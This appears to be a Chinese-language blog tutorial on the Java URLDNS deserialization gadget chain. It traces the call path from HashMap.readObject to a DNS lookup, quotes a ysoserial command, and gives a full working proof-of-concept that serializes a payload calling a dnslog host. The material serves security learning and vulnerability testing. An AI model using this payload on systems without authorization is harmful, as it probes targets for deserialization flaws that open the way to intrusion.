本文最后更新于:2023年9月9日 晚上
[TOC]
[java安全]URLDNS 前言 URLDNS 利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求
它有如下优点:
使用java内置类构造,对第三方库没有依赖
在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞
在ysoserial下生成URLDNS的命令为:
1 java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
在学习URLDNS之前,我们需要了解一些java内置的类
HashMap 在HashMap的类中有readObject()
方法,
我们知道,如果一个类重写了readObject()方法,那么在反序列化时,就会执行重写的readObject()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); ... for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
在HashMap的readObject()
方法中调用了hash()
方法,于是我们过去hash方法中看一下:
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
发现调用了key
变量的hashCode()
方法,这里的key是可以控制的
这里我们就知道需要一个新的类了:
URL 在 java.net.URL
类中存在一个hashCode方法:
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
hashCode变量初值为-1
1 private int hashCode = -1 ;
当hashCode
变量不等于-1时,就会return结束函数
当hashCode=-1
,会调用 handler
的hashCode方法,参数是URL类的对象
然后我们查看一下handler
类是什么类型:
1 transient URLStreamHandler handler;
发现是URLStreamHandler
类,于是我们再查看一下该类
URLStreamHandler hashCode方法
1 2 3 4 5 6 7 8 9 10 11 12 protected int hashCode (URL u) { int h = 0 ; String protocol = u.getProtocol(); if (protocol != null ) h += protocol.hashCode(); InetAddress addr = getHostAddress(u); ... }
发现调用了getHostAddress()
,参数为URL类对象,查看一下 getHostAddress()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 protected synchronized InetAddress getHostAddress (URL u) { if (u.hostAddress != null ) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("" )) { return null ; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null ; } catch (SecurityException se) { return null ; } } return u.hostAddress; }
这个方法中有一个函数调用InetAddress.getByName(host)
,获取目标主机的ip地址,其实就是进行了一次DNS查询
调用过程 我们捋一下过程
我们可以先创建一个HashMap对象
,然后让键的类型为URL
,例如:
1 HashMap<URL, String> hashMap = new HashMap <URL, String>();
然后创建一个URL
类对象,参数我们传入DNS平台的url即可
这里有一些很重要的注意点
如何我们直接调用Map的put()
,将HashMap中添加一个元素,可能会导致误触URL请求
我们看一下HashMap的put()方法
:
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
发现put方法也会调用hash()方法,所以我们需要想办法避免触发
我们想到URL
类中的hashCode变量初值为-1,当值为-1时URL类中的hashCode()方法会return返回,所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可
如何才能设置hashCode等于其他值呢?
我们需要使用java反射:
1 2 3 4 Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 0xAAA );
添加到HashMap中之后,我们需要使用反射把hashCode=-1
调用链 1 2 3 4 5 HashMap.readObject() HashMap.hash() URL.hashCode() URLStreamHandler.hashCode() URLStreamHandler.getHostAddress()
流程图
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNS { public static Object urldns () throws Exception{ HashMap<URL, String> hashMap = new HashMap <URL, String>(); URL url = new URL ("http://txbjb7.dnslog.cn" ); Field f = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 0xAAA ); hashMap.put(url, "leekos" ); f.set(url, -1 ); return hashMap; } public static void main (String[] args) throws Exception { payload2File(urldns(),"obj" ); payloadTest("obj" ); } public static void payload2File (Object instance, String file) throws Exception { ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream (file)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest (String file) throws Exception { ObjectInputStream in = new ObjectInputStream (new FileInputStream (file)); in.readObject(); in.close(); } }